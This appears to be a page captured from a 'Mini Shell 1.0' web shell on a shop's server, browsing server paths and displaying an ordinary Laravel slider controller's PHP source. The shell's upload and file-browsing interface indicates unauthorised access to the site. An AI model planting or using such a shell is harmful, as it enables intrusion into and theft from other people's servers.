HOME


Mini Shell 1.0
La Pieza.DO | Todo lo que buscas!

Bienvenido de nuevo!

Acceso Cuenta Delivery
DIR: /var/www/devs.lapieza.net/app/Http/Controllers/
Upload File :
Current File : /var/www/devs.lapieza.net/app/Http/Controllers/SliderController.php
<?php



namespace App\Http\Controllers;



use Illuminate\Http\Request;

use App\Models\Slider;



class SliderController extends Controller

{

    /**

     * Display a listing of the resource.

     *

     * @return \Illuminate\Http\Response

     */

    public function index()

    {

        $sliders = Slider::all();

        return view('sliders.index', compact('sliders'));

    }



    /**

     * Show the form for creating a new resource.

     *

     * @return \Illuminate\Http\Response

     */

    public function create()

    {

        return view('sliders.create');

    }



    /**

     * Store a newly created resource in storage.

     *

     * @param  \Illuminate\Http\Request  $request

     * @return \Illuminate\Http\Response

     */

    public function store(Request $request)

    {

        if($request->hasFile('photos')){

            foreach ($request->photos as $key => $photo) {

                $slider = new Slider;

                $slider->link = $request->url;

                $slider->photo = $photo->store('uploads/sliders');

                $slider->save();

            }

            flash(translate('Slider has been inserted successfully'))->success();

        }

        return redirect()->route('home_settings.index');

    }



    /**

     * Display the specified resource.

     *

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function show($id)

    {

        //

    }



    /**

     * Show the form for editing the specified resource.

     *

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function edit($id)

    {

        //

    }



    /**

     * Update the specified resource in storage.

     *

     * @param  \Illuminate\Http\Request  $request

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */



    public function update(Request $request, $id)

    {

        $slider = Slider::find($id);

        $slider->published = $request->status;

        if($slider->save()){

            return '1';

        }

        else {

            return '0';

        }

    }



    /**

     * Remove the specified resource from storage.

     *

     * @param  int  $id

     * @return \Illuminate\Http\Response

     */

    public function destroy($id)

    {

        $slider = Slider::findOrFail($id);

        if(Slider::destroy($id)){

            //unlink($slider->photo);

            flash(translate('Slider has been deleted successfully'))->success();

        }

        else{

            flash(translate('Something went wrong'))->error();

        }

        return redirect()->route('home_settings.index');

    }

}